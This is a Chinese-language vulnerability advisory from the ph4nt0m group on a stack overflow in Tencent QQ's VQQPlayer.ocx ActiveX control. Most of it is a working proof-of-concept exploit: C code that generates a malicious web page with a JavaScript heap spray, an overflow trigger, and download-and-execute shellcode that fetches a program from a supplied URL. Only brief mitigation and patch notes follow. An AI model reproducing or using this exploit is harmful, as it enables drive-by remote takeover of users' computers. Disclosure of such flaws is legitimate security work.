信息来源:ph4nt0m
Tencent QQ 多个远程溢出漏洞
by axis(axis_at_ph4nt0m.org)
http://www.ph4nt0m.org
摘要:
QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下:
QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx
其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。
另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。
影响版本:
Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁)
细节:
在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。
漏洞存在的Method是LaunchP2PShare,
ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}
其原型是:
[id(0x00000030)]
VARIANT_BOOL LaunchP2PShare(
BSTR szExeName,
long nDuration);
第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。
幻影旅团将对此发布一个POC代码,请勿将此作为非法用途
POC:
----------------------------------------------------------------------------------------
/*
*-----------------------------------------------------------------------
*
* Tencent QQ VQQPlayer.ocx (all version) 0day
*
*
* Author: axis
* Date: 2006-12-27
* Mail: [email protected]
*
* Bug discovered by [email protected]
* :
* :
* :
* :
* :Usage: filename <exe_URL> [htmlfile]
* : filename.exe http://site.com/file.exe localhtml.htm
*
* 在VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eip和seh
* QQ是vc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻
* 而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起 c:/program files/tencent/qq/AAAAA....
* 覆盖seh方法比较通用,使用heap spray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie。
*
*
*
*
04534E5F 55 PUSH EBP
04534E60 8BEC MOV EBP,ESP
04534E62 81EC 60060000 SUB ESP,660
04534E68 53 PUSH EBX
04534E69 33DB XOR EBX,EBX
04534E6B 395D 08 CMP DWORD PTR SS:[EBP+8],EBX
04534E6E 56 PUSH ESI
04534E6F 57 PUSH EDI
04534E70 8BF1 MOV ESI,ECX
04534E72 75 11 JNZ SHORT VQQPLA~1.04534E85
04534E74 C786 8C040000 1>MOV DWORD PTR DS:[ESI+48C],12
04534E7E 33C0 XOR EAX,EAX
04534E80 E9 42010000 JMP VQQPLA~1.04534FC7
04534E85 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
04534E88 3BC3 CMP EAX,EBX
04534E8A 8945 0C MOV DWORD PTR SS:[EBP+C],EAX
04534E8D 7F 07 JG SHORT VQQPLA~1.04534E96
04534E8F C745 0C 0A00000>MOV DWORD PTR SS:[EBP+C],0A
04534E96 BF 04010000 MOV EDI,104
04534E9B 8D85 A0FDFFFF LEA EAX,DWORD PTR SS:[EBP-260]
04534EA1 57 PUSH EDI
04534EA2 53 PUSH EBX
04534EA3 50 PUSH EAX
04534EA4 E8 437F0000 CALL <JMP.&MSVCRT.memset>
04534EA9 57 PUSH EDI
04534EAA 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]
04534EB0 53 PUSH EBX
04534EB1 50 PUSH EAX
04534EB2 E8 357F0000 CALL <JMP.&MSVCRT.memset>
04534EB7 83C4 18 ADD ESP,18
04534EBA 897D FC MOV DWORD PTR SS:[EBP-4],EDI
04534EBD E8 6E780000 CALL <JMP.&MFC42.#1168_?AfxGetModuleStat>
04534EC2 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
04534EC5 8B78 6C MOV EDI,DWORD PTR DS:[EAX+6C]
04534EC8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]
04534ECE 57 PUSH EDI
04534ECF 50 PUSH EAX
04534ED0 E8 C3250000 CALL VQQPLA~1.04537498
04534ED5 FF75 08 PUSH DWORD PTR SS:[EBP+8]
04534ED8 8D85 A4FEFFFF LEA EAX,DWORD PTR SS:[EBP-15C]
04534EDE 50 PUSH EAX
04534EDF E8 027F0000 CALL <JMP.&MSVCRT.strcat> ; 溢出
[ebp-15c]处是QQ安装目录, [ebp+8]处是传递的第一个参数
shellcode使用 add esp, 4dch
pop ebp
retn 24h
安全退出返回到上层函数 mshtml.dll里
*
*------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *fp = NULL;
char *file = "fuck_exp1.html";
char *url = NULL;
//Download Shellcode by [email protected] bypass防火墙
// [email protected],不挂ie
unsigned char sc[] =
"/x60/x64/xa1/x30/x00/x00/x00/x8b/x40/x0c/x8b/x70/x1c/xad/x8b/x70"
"/x08/x81/xec/x00/x04/x00/x00/x8b/xec/x56/x68/x8e/x4e/x0e/xec/xe8"
"/xff/x00/x00/x00/x89/x45/x04/x56/x68/x98/xfe/x8a/x0e/xe8/xf1/x00"
"/x00/x00/x89/x45/x08/x56/x68/x25/xb0/xff/xc2/xe8/xe3/x00/x00/x00"
"/x89/x45/x0c/x56/x68/xef/xce/xe0/x60/xe8/xd5/x00/x00/x00/x89/x45"
"/x10/x56/x68/xc1/x79/xe5/xb8/xe8/xc7/x00/x00/x00/x89/x45/x14/x40"
"/x80/x38/xc3/x75/xfa/x89/x45/x18/xe9/x08/x01/x00/x00/x5e/x89/x75"
"/x24/x8b/x45/x04/x6a/x01/x59/x8b/x55/x18/x56/xe8/x8c/x00/x00/x00"
"/x50/x68/x36/x1a/x2f/x70/xe8/x98/x00/x00/x00/x89/x45/x1c/x8b/xc5"
"/x83/xc0/x50/x89/x45/x20/x68/xff/x00/x00/x00/x50/x8b/x45/x14/x6a"
"/x02/x59/x8b/x55/x18/xe8/x62/x00/x00/x00/x03/x45/x20/xc7/x00/x5c"
"/x7e/x2e/x65/xc7/x40/x04/x78/x65/x00/x00/xff/x75/x20/x8b/x45/x0c"
"/x6a/x01/x59/x8b/x55/x18/xe8/x41/x00/x00/x00/x6a/x07/x58/x03/x45"
"/x24/x33/xdb/x53/x53/xff/x75/x20/x50/x53/x8b/x45/x1c/x6a/x05/x59"
"/x8b/x55/x18/xe8/x24/x00/x00/x00/x6a/x00/xff/x75/x20/x8b/x45/x08"
"/x6a/x02/x59/x8b/x55/x18/xe8/x11/x00/x00/x00/x81/xc4/x00/x04/x00"
"/x00/x61/x81/xc4/xdc/x04/x00/x00/x5d/xc2/x24/x00/x41/x5b/x52/x03"
"/xe1/x03/xe1/x03/xe1/x03/xe1/x83/xec/x04/x5a/x53/x8b/xda/xe2/xf7"
"/x52/xff/xe0/x55/x8b/xec/x8b/x7d/x08/x8b/x5d/x0c/x56/x8b/x73/x3c"
"/x8b/x74/x1e/x78/x03/xf3/x56/x8b/x76/x20/x03/xf3/x33/xc9/x49/x41"
"/xad/x03/xc3/x56/x33/xf6/x0f/xbe/x10/x3a/xf2/x74/x08/xc1/xce/x0d"
"/x03/xf2/x40/xeb/xf1/x3b/xfe/x5e/x75/xe5/x5a/x8b/xeb/x8b/x5a/x24"
"/x03/xdd/x66/x8b/x0c/x4b/x8b/x5a/x1c/x03/xdd/x8b/x04/x8b/x03/xc5"
"/x5e/x5d/xc2/x08/x00/xe8/xf3/xfe/xff/xff/x55/x52/x4c/x4d/x4f/x4e"
"/x00";
char * header =
"<!-- axis' exploit! -->/n/n"
"<html>/n"
"<head>/n"
"<script language=/"javascript/">/n"
"/tvar heapSprayToAddress = 0x0c010101;/n"
"/tvar shellcode = unescape(/"%u9090/"+/"%u9090/"+ /n";
char * footer =
"/n"
"var heapBlockSize = 0x100000;/n" //如果太小了,会造成时间上来不及分配,导致溢出失败
"var payLoadSize = shellcode.length * 2;/n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);/n"
"var spraySlide = unescape(/"%u9090%u9090/");/n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);/n"
"heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;/n"
"memory = new Array();/n/n"
"for (i=0;i<heapBlocks;i++)/n{/n"
"/t/tmemory[i] = spraySlide + shellcode;/n}/n"
"function getSpraySlide(spraySlide, spraySlideSize)/n{/n/t"
"while (spraySlide.length*2<spraySlideSize)/n/t"
"{/n/t/tspraySlide += spraySlide;/n/t}/n"
"/tspraySlide = spraySlide.substring(0,spraySlideSize/2);/n/treturn spraySlide;/n}/n/n"
"</script>/n";
char * trigger =
"/n<script>/n"
"function AxisFun()/n"
"{/n"
"/tevil.LaunchP2PShare(/"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c//x0c/", 10000);/n"
"/n}/n"
"</script>/n"
"</head>/n"
"<OBJECT ID=/"evil/" CLASSID=/"CLSID:{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}/"></OBJECT>/n"
"<script>javascript:AxisFun();</script>/n"
"</html>/n";
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("/"/n/"");
fprintf(fp, "%s", "/" +/n/"");
}
else
{
printf("/"");
fprintf(fp, "%s", "/"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
//把shellcode打印在header后面,然后用 " ) " 闭合
printf("/";/n");
fprintf(fp, "%s", "/");/n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("Tencent QQ VQQPlayer.ocx (all version) 0day!/n");
printf("Bug Found by [email protected]/n");
printf("Date: 2006-12-27/n");
printf("/r/nUsage: %s <URL> [Local htmlfile]/r/n/n", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'/n");
return;
}
printf("[+] download url:%s/n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s/n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!/n");
return;
}
//build evil html file
fprintf(fp, "%s", header);
fflush(fp);
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintPayLoad((char *)buf, sc_len);
fprintf(fp, "%s", footer);
fflush(fp);
fprintf(fp, "%s", trigger);
fflush(fp);
printf("[+] exploit write to %s success!/n", file);
}
----------------------------------------------------------------------------------------
建议:
禁止ie执行activex
厂商补丁:
目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ:
http://www.qq.com
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